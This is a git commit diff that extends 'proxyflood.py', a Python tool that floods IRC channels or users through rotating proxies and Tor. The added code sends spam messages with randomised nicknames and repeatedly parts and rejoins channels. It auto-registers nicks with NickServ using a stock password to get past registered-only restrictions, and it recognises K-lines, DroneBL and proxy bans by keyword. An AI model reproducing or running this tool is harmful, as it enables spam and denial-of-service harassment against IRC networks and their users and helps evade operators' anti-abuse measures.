add more flood stuff
This commit is contained in:
@@ -53,10 +53,13 @@ class Config(ComboParser):
|
||||
self.aparser.add_argument("--file", help="import a single file containing proxy addrs", type=str, default='', required=False)
|
||||
|
||||
section = 'flood'
|
||||
self.add_item(section, 'server', str, 'irc.epiknet.org', 'irc server address', True)
|
||||
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', True)
|
||||
self.add_item(section, 'server', str, None, 'irc server address', False)
|
||||
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False)
|
||||
self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False)
|
||||
self.add_item(section, 'message', str, None, 'message', False)
|
||||
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
||||
self.add_item(section, 'register', int, 0, 'register nickname when required (default: false)', False)
|
||||
|
||||
self.add_item(section, 'once', int, 0, 'quit as soon as possible (default: 0)', False)
|
||||
self.add_item(section, 'duration', int, 90, 'maximum time to run (default: 90 secs)', False)
|
||||
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False)
|
||||
|
||||
101
proxyflood.py
101
proxyflood.py
@@ -19,6 +19,9 @@ config = Config()
|
||||
_run_standalone = False
|
||||
cached_dns = dict()
|
||||
|
||||
is_target_protected = None
|
||||
default_threads = None
|
||||
|
||||
with open('usernames.txt') as h:
|
||||
nicklist = [ nick.strip() for nick in h.readlines() ]
|
||||
|
||||
@@ -49,26 +52,40 @@ def socks4_resolve(srvname, server_port):
|
||||
return False
|
||||
return srv
|
||||
|
||||
def has_been_lined(recv):
|
||||
recv = recv.lower()
|
||||
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'proxy', 'drone' ]
|
||||
for bkw in badkw:
|
||||
if bkw in recv: return True
|
||||
|
||||
return False
|
||||
|
||||
def flood(sock):
|
||||
nick = random.choice(nicklist)
|
||||
nick = random.choice(nicklist) + str(random.randint(1000,9999))
|
||||
if config.flood.message is not None: msgs = config.flood.message.split(';')
|
||||
|
||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
||||
ticks = time.time()
|
||||
sent_ping = False
|
||||
ret = True
|
||||
while True:
|
||||
if config.flood.duration > 0:
|
||||
if (time.time() - ticks) > config.flood.duration: break
|
||||
|
||||
recv = sock.recvline()
|
||||
print(recv.strip())
|
||||
if not len(recv): break
|
||||
elif 'Proxy/Drone' in recv or 'contact kline@' in recv: break
|
||||
elif recv.startswith('ERROR'): break
|
||||
elif not ' 372 ' in recv: print(recv.strip())
|
||||
|
||||
#if 'Proxy/Drone' in recv or 'contact kline@' in recv:
|
||||
# ret = False
|
||||
# break
|
||||
if recv.startswith('ERROR'):
|
||||
if has_been_lined(recv): ret = False
|
||||
break
|
||||
elif recv.startswith('PING'):
|
||||
if config.flood.use_timeout:
|
||||
if sent_ping: continue
|
||||
sock.send( recv.replace('PING', 'PONG'))
|
||||
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
|
||||
sent_ping = True
|
||||
else:
|
||||
_split = recv.split(' ')
|
||||
@@ -88,28 +105,53 @@ def flood(sock):
|
||||
if config.flood.once:
|
||||
sock.send('QUIT\r\n')
|
||||
|
||||
|
||||
# end of names list (joined a chan)
|
||||
elif _split[1] == '366':
|
||||
ret = True
|
||||
if config.flood.message is not None:
|
||||
if config.flood.change_nick:
|
||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||
else:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
if config.flood.cycle:
|
||||
sock.send('PART %s\r\nJOIN %s\r\n)' % (_split[3], _split[3]))
|
||||
time.sleep(1)
|
||||
sock.send('PART %s\r\nJOIN %s\r\n' % (_split[3], _split[3]))
|
||||
#time.sleep(1)
|
||||
|
||||
elif config.flood.once:
|
||||
sock.send('QUIT\r\n')
|
||||
|
||||
# nick already used
|
||||
elif _split[1] == '433':
|
||||
sock.send('NICK %s\r\n' % random.choice(nicknames))
|
||||
# nick reseverd or already used
|
||||
elif _split[1] == '432' or _split[1] == '433':
|
||||
sock.send('NICK %s\r\n' % random.choice(nicklist))
|
||||
|
||||
# chan +i
|
||||
elif _split[1] == '473':
|
||||
global is_target_protected
|
||||
if is_target_protected is not None: break
|
||||
|
||||
global default_threads
|
||||
is_target_protected = time.time()
|
||||
default_threads = config.flood.threads
|
||||
config.flood.threads = 1
|
||||
print('target is protected, aborting')
|
||||
break
|
||||
# user or chan sets mode +R
|
||||
elif _split[1] == '477' or _split[1] == '531':
|
||||
if not config.flood.register: break
|
||||
|
||||
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||
time.sleep(1)
|
||||
if '#' in config.flood.target:
|
||||
sock.send('JOIN %s\r\n' %config.flood.target)
|
||||
elif config.flood.message is not None:
|
||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||
if config.flood.once: sock.send('QUIT\r\n')
|
||||
|
||||
try: sock.disconnect()
|
||||
except: pass
|
||||
|
||||
return ret
|
||||
|
||||
class WorkerJob():
|
||||
def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False):
|
||||
self.proxy = proxy
|
||||
@@ -148,8 +190,10 @@ class WorkerJob():
|
||||
try:
|
||||
sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout)
|
||||
sock.connect()
|
||||
flood(sock)
|
||||
return sock, proto, duration, torhost, srvname, 0
|
||||
status = flood(sock)
|
||||
print('status: %s' %str(status))
|
||||
return status
|
||||
|
||||
except rocksock.RocksockException as e:
|
||||
if config.watchd.debug:
|
||||
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
||||
@@ -181,12 +225,23 @@ class WorkerJob():
|
||||
except KeyboardInterrupt as e:
|
||||
raise(e)
|
||||
|
||||
return None, None, None, None, None, fail_inc
|
||||
return False
|
||||
|
||||
def run(self):
|
||||
global is_target_protected
|
||||
self.checktime = int(time.time())
|
||||
if is_target_protected is not None:
|
||||
if (self.checktime - is_target_protected) < 300:
|
||||
time.sleep(10)
|
||||
return
|
||||
is_target_protected = None
|
||||
#global config.flood.threads
|
||||
global default_threads
|
||||
config.flood.threads = default_threads
|
||||
|
||||
while self.connect_socket():
|
||||
time.sleep(10)
|
||||
|
||||
sock, proto, duration, tor, srv, failinc = self.connect_socket()
|
||||
return
|
||||
|
||||
|
||||
@@ -259,7 +314,7 @@ class WorkerThread():
|
||||
class Proxywatchd():
|
||||
|
||||
def stop(self):
|
||||
_log('halting... (%d thread(s))' % len([item for item in self.threads if True]), 'watchd')
|
||||
_log('halting... (%d thread(s))' % len([item for item in self.threads if True]), 'flood')
|
||||
self.stopping.set()
|
||||
|
||||
def _cleanup(self):
|
||||
@@ -275,7 +330,7 @@ class Proxywatchd():
|
||||
if not self.in_background: self._cleanup()
|
||||
while not self.stopped.is_set(): time.sleep(0.1)
|
||||
success_rate = try_div(self.totals['success'], self.totals['submitted']) * 100
|
||||
_log("total results: %d/%d (%.2f%%)"%(self.totals['success'], self.totals['submitted'], success_rate), "watchd")
|
||||
_log("total results: %d/%d (%.2f%%)"%(self.totals['success'], self.totals['submitted'], success_rate), "flood")
|
||||
|
||||
def _prep_db(self):
|
||||
self.mysqlite = mysqlite.mysqlite(config.watchd.database, str)
|
||||
@@ -330,7 +385,7 @@ class Proxywatchd():
|
||||
jobs = wt.return_jobs()
|
||||
self.jobs.extend(jobs)
|
||||
if len(self.jobs):
|
||||
_log("collected %d unfinished jobs"%len(self.jobs), "watchd")
|
||||
_log("collected %d unfinished jobs"%len(self.jobs), "flood")
|
||||
|
||||
def submit_collected(self):
|
||||
if len(self.collected) == 0: return True
|
||||
@@ -351,7 +406,7 @@ class Proxywatchd():
|
||||
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
||||
ret = False
|
||||
|
||||
_log("success rate: %.2f%%"%(len(self.collected), success_rate), 'flood')
|
||||
_log("success rate: %.2f%%"%success_rate, 'flood')
|
||||
#self._prep_db()
|
||||
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
||||
#self.mysqlite.executemany(query, args)
|
||||
@@ -378,7 +433,7 @@ class Proxywatchd():
|
||||
t.start()
|
||||
|
||||
def _run(self):
|
||||
_log('starting...', 'watchd')
|
||||
_log('starting...', 'flood')
|
||||
|
||||
for i in range(config.flood.threads):
|
||||
# XXX: multiplicator
|
||||
@@ -410,7 +465,7 @@ class Proxywatchd():
|
||||
if not len(self.jobs):
|
||||
self.collect_work()
|
||||
if not self.submit_collected() and self.tor_safeguard:
|
||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
|
||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood")
|
||||
self.collect_unfinished()
|
||||
sleeptime = 1*60
|
||||
else:
|
||||
@@ -420,7 +475,7 @@ class Proxywatchd():
|
||||
# allow threads enough time to consume the jobs
|
||||
sleeptime = 10
|
||||
if len(self.jobs):
|
||||
_log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'watchd')
|
||||
_log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'flood')
|
||||
jpt = len(self.jobs)/len(self.threads)
|
||||
if len(self.jobs)/float(len(self.threads)) - jpt > 0.0: jpt += 1
|
||||
for tid in xrange(len(self.threads)):
|
||||
@@ -434,7 +489,7 @@ class Proxywatchd():
|
||||
|
||||
if len(self.collected) > self.submit_after:
|
||||
if not self.submit_collected() and self.tor_safeguard:
|
||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
|
||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood")
|
||||
self.collect_unfinished()
|
||||
sleeptime = 1*60
|
||||
|
||||
|
||||
Reference in New Issue
Block a user